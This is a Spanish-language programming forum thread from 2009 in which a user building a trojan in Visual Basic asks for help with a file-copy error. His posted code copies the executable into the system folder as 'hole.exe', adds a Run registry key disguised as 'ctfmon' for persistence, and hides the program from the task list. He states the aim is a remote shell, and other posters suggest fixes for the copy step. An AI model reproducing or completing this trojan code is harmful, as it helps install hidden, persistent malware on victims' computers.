Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: 50l3r en 15 Mayo 2009, 15:26 pm


Título: Error al copiar archivo (file not found)
Publicado por: 50l3r en 15 Mayo 2009, 15:26 pm
veran, estoy siguiendo un tutorial que anda por aqui sobre como crear un troyano, pero le estoy haciendo a m manera tomando alguna idea del manual

El error se me genera al copiar un archivo que se aloja en una variable, aqui esta el code:

Código:
Private Sub Form_Load()
Dim ip As String, port As Integer
Dim dioxis As String
Dim win, sys, residencia

ip = "192.168.6.100"
port = 666
dioxis = App.Path

ip = wsk.RemoteHost
port = wsk.RemotePort

If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)

win = LCase(win)
sys = LCase(sys)

FileCopy dioxis, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

Set residencia = CreateObject("WScript.Shell")

residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"



App.TaskVisible = False
End Sub

he revisado y rerevisado el codigo pero no encuentro el error

Título: Re: Error al copiar archivo (file not found)
Publicado por: ranslsad en 15 Mayo 2009, 16:43 pm
Nose hehe
pero para comprobar si el app esta bien hace esto:

Debajo de este codigo:
Código
  1. If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
  2. dioxis = dioxis & App.EXEName & ".exe"

Pone:
Código
  1. Msgbox dioxis

Y ya ves si esta bien la dir o mal.

Salu2

Ranslsad

Título: Re: Error al copiar archivo (file not found)
Publicado por: BlackZeroX en 15 Mayo 2009, 21:23 pm

PAra verificar si existe un Directorio, Archivo o no se yo lo que desees usa:
Código
  1. if dir(RutaEXE/Directorio,tipo) then
  2.      'Si Existe
  3. else
  4.      'No Existe
  5. end if
  6.  

Este solo corrige el directorio residente del archivo para posteriormente concatenar solamente el nombre/extensión
Código
  1. If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
  2. dioxis = dioxis & App.EXEName & ".exe"
  3.  

Saludos, Dulces Lunas

Título: Re: Error al copiar archivo (file not found)
Publicado por: BlackZeroX en 15 Mayo 2009, 21:33 pm
a si si quieres alojar una rchivo en una variable usa

Código
  1. Open Ruta for binary as 1
  2.      get 1,,Variable
  3. close 1
  4. 'Procesos deseados
  5.  

Lo que tu haces es solo almacenar la ruta del archivo.

Saludos, Dulces Lunas

Título: Re: Error al copiar archivo (file not found)
Publicado por: XcryptOR en 16 Mayo 2009, 06:26 am
usa Apis y problema arreglado

Título: Re: Error al copiar archivo (file not found)
Publicado por: YST en 16 Mayo 2009, 09:01 am
Esos es un copy paste de el manual de Xenon :silbar:

Prueba con la api CopyFile

http://allapi.mentalis.org/apilist/CopyFile.shtml

Título: Re: Error al copiar archivo (file not found)
Publicado por: 50l3r en 16 Mayo 2009, 11:15 am
esa pàrte es la que he tenido que copiar ya que me daba muchos errores

estoy haciendo una obtencion de una shell remota, ya que me dio la idea al ver en el manual que poniendo tu paint, le ejecutabas el paint jeje, y se me ocurrio asi hacer una shell remota, lo unico copiado es este trozo, el que tengo que copiar y poner en el registro...etc

como seria con una api

sorry por mi escasa habilidad con vb, he empezado hace pocos dias

-------------------------------

edito, antes del filecopy he puesto un msbox y este es su resultado

(http://img41.imageshack.us/img41/5517/ejec.jpg)

y justo despues, aqui el error

(http://img41.imageshack.us/img41/2902/ejec2.jpg)

----------------------

reedito de nuevo, al compilar ahora me deja, antes nose porque no, pero ahora si

Título: Re: Error al copiar archivo (file not found)
Publicado por: Dessa en 16 Mayo 2009, 11:56 am
No te digo que este sea el caso, pero algunos errores (aleatorios) similares a el tuyo los solucione haciendo una pausa de un par de segundos antes del Filecopy

Código:

Dim x As Long: x = Round(Timer): While Round(Timer) < x + 2: DoEvents: Wend


Saludos

PD: si usas API mejor









Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines